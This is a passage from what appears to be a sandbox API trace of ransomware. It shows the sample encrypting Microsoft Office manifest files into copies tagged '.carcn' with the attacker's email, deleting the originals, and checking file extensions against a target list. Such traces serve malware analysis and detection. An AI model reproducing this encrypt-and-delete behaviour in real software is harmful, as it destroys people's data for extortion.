GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 0x220 [0181.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0181.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0181.716] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0181.716] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0181.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0181.717] GetLastError () returned 0x0 [0181.717] ReadFile (in: hFile=0x304, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x4ed, lpOverlapped=0x0) returned 1 [0181.796] WriteFile (in: hFile=0x374, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x4f0, lpOverlapped=0x0) returned 1 [0181.846] ReadFile (in: hFile=0x304, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0181.846] WriteFile (in: hFile=0x374, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x13e, lpOverlapped=0x0) returned 1 [0181.846] SetEndOfFile (hFile=0x374) returned 1 [0181.847] CloseHandle (hObject=0x374) returned 1 [0181.848] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0181.848] SetEndOfFile (hFile=0x304) returned 1 [0181.848] CloseHandle (hObject=0x304) returned 1 [0181.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0181.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 1 [0181.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0181.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0181.849] lstrlenW (lpString=".doc") returned 4 [0181.849] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.849] lstrlenW (lpString=".docx") returned 5 [0181.849] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0181.849] lstrlenW (lpString=".pdf") returned 4 [0181.849] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.849] lstrlenW (lpString=".xls") returned 4 [0181.849] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0181.849] lstrlenW (lpString=".xlsx") returned 5 [0181.849] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0181.849] lstrlenW (lpString=".ppt") returned 4 [0181.849] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0181.849] lstrlenW (lpString=".zip") returned 4 [0181.850] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0181.850] lstrlenW (lpString=".rar") returned 4 [0181.850] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.850] lstrlenW (lpString=".bz2") returned 4 [0181.850] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.850] lstrlenW (lpString=".7z") returned 3 [0181.850] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0181.850] lstrlenW (lpString=".dbf") returned 4 [0181.850] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0181.850] lstrlenW (lpString=".1cd") returned 4 [0181.850] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0181.850] lstrlenW (lpString=".jpg") returned 4 [0181.850] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0181.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0181.850] lstrlenW (lpString=".doc") returned 4 [0181.850] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.850] lstrlenW (lpString=".docx") returned 5 [0181.851] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0181.851] lstrlenW (lpString=".pdf") returned 4 [0181.851] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.851] lstrlenW (lpString=".xls") returned 4 [0181.851] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0181.851] lstrlenW (lpString=".xlsx") returned 5 [0181.851] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0181.851] lstrlenW (lpString=".ppt") returned 4 [0181.851] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0181.851] lstrlenW (lpString=".zip") returned 4 [0181.851] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0181.851] lstrlenW (lpString=".rar") returned 4 [0181.851] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.851] lstrlenW (lpString=".bz2") returned 4 [0181.851] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.851] lstrlenW (lpString=".7z") returned 3 [0181.851] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0181.851] lstrlenW (lpString=".dbf") returned 4 [0181.851] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0181.851] lstrlenW (lpString=".1cd") returned 4 [0181.851] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0181.851] lstrlenW (lpString=".jpg") returned 4 [0181.851] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.851] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0181.851] lstrlenW (lpString="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 53 [0181.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0181.852] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=1261) returned 1 [0181.852] CloseHandle (hObject=0x304) returned 1 [0181.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 0x220 [0181.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0181.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0181.852] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0181.852] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0181.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0181.853] GetLastError () returned 0x0 [0181.853] ReadFile (in: hFile=0x304, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x4ed, lpOverlapped=0x0) returned 1 [0181.867] WriteFile (in: hFile=0x374, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x4f0, lpOverlapped=0x0) returned 1 [0181.868] ReadFile (in: hFile=0x304, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0181.868] WriteFile (in: hFile=0x374, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x13e, lpOverlapped=0x0) returned 1 [0181.868] SetEndOfFile (hFile=0x374) returned 1 [0181.868] CloseHandle (hObject=0x374) returned 1 [0181.869] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0181.869] SetEndOfFile (hFile=0x304) returned 1 [0181.870] CloseHandle (hObject=0x304) returned 1 [0181.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0181.870] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 1 [0181.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0181.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0181.870] lstrlenW (lpString=".doc") returned 4 [0181.870] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.870] lstrlenW (lpString=".docx") returned 5 [0181.870] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0181.870] lstrlenW (lpString=".pdf") returned 4 [0181.871] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.871] lstrlenW (lpString=".xls") returned 4 [0181.871] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0181.871] lstrlenW (lpString=".xlsx") returned 5 [0181.871] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0181.871] lstrlenW (lpString=".ppt") returned 4 [0181.871] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0181.871] lstrlenW (lpString=".zip") returned 4 [0181.871] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0181.871] lstrlenW (lpString=".rar") returned 4 [0181.871] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.871] lstrlenW (lpString=".bz2") returned 4 [0181.871] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.871] lstrlenW (lpString=".7z") returned 3 [0181.871] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0181.871] lstrlenW (lpString=".dbf") returned 4 [0181.871] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0181.871] lstrlenW (lpString=".1cd") returned 4 [0181.871] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0181.871] lstrlenW (lpString=".jpg") returned 4 [0181.871] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0181.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0181.871] lstrlenW (lpString=".doc") returned 4 [0181.871] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.871] lstrlenW (lpString=".docx") returned 5 [0181.871] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0181.871] lstrlenW (lpString=".pdf") returned 4 [0181.871] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.871] lstrlenW (lpString=".xls") returned 4 [0181.872] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0181.872] lstrlenW (lpString=".xlsx") returned 5 [0181.872] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0181.872] lstrlenW (lpString=".ppt") returned 4 [0181.872] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0181.872] lstrlenW (lpString=".zip") returned 4 [0181.872] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0181.872] lstrlenW (lpString=".rar") returned 4 [0181.872] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.872] lstrlenW (lpString=".bz2") returned 4 [0181.872] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.872] lstrlenW (lpString=".7z") returned 3 [0181.872] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0181.872] lstrlenW (lpString=".dbf") returned 4 [0181.872] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0181.872] lstrlenW (lpString=".1cd") returned 4 [0181.872] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0181.872] lstrlenW (lpString=".jpg") returned 4 [0181.872] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.872] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0181.872] lstrlenW (lpString="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 53 [0181.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0181.873] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=1261) returned 1 [0181.873] CloseHandle (hObject=0x304) returned 1 [0181.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0181.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0181.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0181.873] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0181.873] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0181.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0181.873] GetLastError () returned 0x0 [0181.873] ReadFile (in: hFile=0x304, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x4ed, lpOverlapped=0x0) returned 1 [0181.939] WriteFile (in: hFile=0x374, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x4f0, lpOverlapped=0x0) returned 1 [0181.940] ReadFile (in: hFile=0x304, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0181.940] WriteFile (in: hFile=0x374, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x13e, lpOverlapped=0x0) returned 1 [0181.940] SetEndOfFile (hFile=0x374) returned 1 [0181.943] CloseHandle (hObject=0x374) returned 1 [0181.944] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0181.944] SetEndOfFile (hFile=0x304) returned 1 [0181.946] CloseHandle (hObject=0x304) returned 1 [0181.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0181.946] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 1 [0181.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0181.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0181.947] lstrlenW (lpString=".doc") returned 4 [0181.947] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.947] lstrlenW (lpString=".docx") returned 5 [0181.947] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0181.947] lstrlenW (lpString=".pdf") returned 4 [0181.947] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.947] lstrlenW (lpString=".xls") returned 4 [0181.947] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0181.947] lstrlenW (lpString=".xlsx") returned 5 [0181.947] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0181.947] lstrlenW (lpString=".ppt") returned 4 [0181.947] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0181.947] lstrlenW (lpString=".zip") returned 4 [0181.947] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0181.947] lstrlenW (lpString=".rar") returned 4 [0181.947] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.947] lstrlenW (lpString=".bz2") returned 4 [0181.947] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.947] lstrlenW (lpString=".7z") returned 3 [0181.947] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0181.947] lstrlenW (lpString=".dbf") returned 4 [0181.947] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0181.947] lstrlenW (lpString=".1cd") returned 4 [0181.947] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0181.947] lstrlenW (lpString=".jpg") returned 4 [0181.947] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0181.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0181.948] lstrlenW (lpString=".doc") returned 4 [0181.948] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.948] lstrlenW (lpString=".docx") returned 5 [0181.948] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0181.948] lstrlenW (lpString=".pdf") returned 4 [0181.948] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.948] lstrlenW (lpString=".xls") returned 4 [0181.948] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0181.948] lstrlenW (lpString=".xlsx") returned 5 [0181.948] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0181.948] lstrlenW (lpString=".ppt") returned 4 [0181.948] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0181.948] lstrlenW (lpString=".zip") returned 4 [0181.948] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0181.948] lstrlenW (lpString=".rar") returned 4 [0181.948] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.948] lstrlenW (lpString=".bz2") returned 4 [0181.948] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.948] lstrlenW (lpString=".7z") returned 3 [0181.948] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0181.948] lstrlenW (lpString=".dbf") returned 4 [0181.948] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.948] lstrlenW (lpString="C:\\Program Files\\Microsoft 